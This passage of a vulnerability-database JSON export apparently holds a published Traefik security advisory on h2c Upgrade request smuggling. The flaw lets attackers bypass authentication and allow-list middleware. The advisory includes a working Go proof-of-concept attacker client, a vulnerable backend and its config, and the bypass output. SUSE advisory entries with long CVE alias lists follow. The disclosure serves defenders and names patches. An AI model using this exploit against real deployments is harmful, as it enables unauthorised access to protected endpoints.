Authorization","description":"## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public                         /admin\n(no auth)                       (BasicAuth)\n    |                               |\n    +----------- same backend ------+\n                    ^\n                    |\n              h2c tunnel\n                    |\n                 attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n  When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n  WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n  Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n  When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n   |\n   | GET /public\n   | Connection: Upgrade\n   | Upgrade: h2c\n   v\nTraefik\n   |\n   | r-public (no auth)\n   v\nBackend\n   |\n   | 101 Switching Protocols\n   v\n[raw byte tunnel]\n   |\n   | HTTP/2 GET /admin\n   v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 → h2c upgrade handler.\n\nIt exposes:\n\n* `/public` — unauthenticated\n* `/admin` — intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n    \"bufio\"\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n\n    mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"public ok\\n\")\n    })\n\n    mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(\n            w,\n            \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n            r.Proto,\n            r.URL.Path,\n        )\n    })\n\n    h2s := \u0026http2.Server{}\n\n    ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n    for {\n        c, err := ln.Accept()\n        if err != nil {\n            return\n        }\n\n        go func(conn net.Conn) {\n            br := bufio.NewReader(conn)\n            var sb strings.Builder\n\n            for {\n                line, err := br.ReadString('\\n')\n                if err != nil {\n                    return\n                }\n\n                sb.WriteString(line)\n\n                if line == \"\\r\\n\" {\n                    break\n                }\n            }\n\n            if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n                conn.Write([]byte(\n                    \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n                        \"Connection: Upgrade\\r\\n\" +\n                        \"Upgrade: h2c\\r\\n\\r\\n\",\n                ))\n\n                h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n                    Handler: mux,\n                })\n\n                return\n            }\n\n            conn.Close()\n        }(c)\n    }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n  web:\n    address: \"127.0.0.1:9080\"\n\nproviders:\n  file:\n    filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n  routers:\n    r-public:\n      rule: \"PathPrefix(`/public`)\"\n      entryPoints: [\"web\"]\n      service: svc\n\n    r-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [\"web\"]\n      service: svc\n      middlewares: [\"adminauth\"]\n\n  middlewares:\n    adminauth:\n      basicAuth:\n        users:\n          - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n  services:\n    svc:\n      loadBalancer:\n        servers:\n          - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    front := \"127.0.0.1:9080\"\n\n    resp, _ := http.Get(\"http://\" + front + \"/admin\")\n    b, _ := io.ReadAll(resp.Body)\n    resp.Body.Close()\n\n    fmt.Printf(\n        \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n        resp.StatusCode,\n        strings.TrimSpace(string(b)),\n    )\n\n    raw, _ := net.Dial(\"tcp\", front)\n\n    raw.Write([]byte(\n        \"GET /public HTTP/1.1\\r\\n\" +\n            \"Host: x\\r\\n\" +\n            \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n            \"Upgrade: h2c\\r\\n\" +\n            \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n            \"\\r\\n\",\n    ))\n\n    buf := make([]byte, 256)\n\n    raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n    n, _ := raw.Read(buf)\n\n    fmt.Printf(\n        \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n        strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n    )\n\n    raw.SetReadDeadline(time.Time{})\n\n    cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n    req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n    r2, _ := cc.RoundTrip(req)\n    b2, _ := io.ReadAll(r2.Body)\n    r2.Body.Close()\n\n    fmt.Printf(\n        \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n        r2.StatusCode,\n        strings.TrimSpace(string(b2)),\n    )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds)      -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel     -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` → `401`\n* Unauthenticated `/public` → `101`\n* `/admin` over the established h2c tunnel → `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 → h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n      |\n      | Upgrade: h2c\n      v\n   Traefik\n      |\n      | 101\n      v\n  raw tunnel\n      |\n      | HTTP/2 GET /admin\n      v\n   Backend\n      |\n      v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---","status":"published","published":"2026-09-10T23:04:37Z","modified":"2026-09-17T17:40:35.446363779Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-444","CWE-863"],"updated_at":"2026-11-02T15:46:58.04805Z"},{"id":"GO-2026-6468","title":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization in github.com/traefik/traefik","description":"Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization in github.com/traefik/traefik","status":"published","published":"2026-09-16T16:56:22Z","modified":"2026-09-17T17:30:12.189273918Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:12076-1","title":"traefik-3.7.13-1.1 on GA media","description":"These are all security issues fixed in the traefik-3.7.13-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-07T00:00:00Z","modified":"2026-10-09T17:23:13.010512276Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:21897-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:36:27Z","modified":"2026-09-25T18:23:11.534555779Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23855-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:15.791415126Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23863-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority 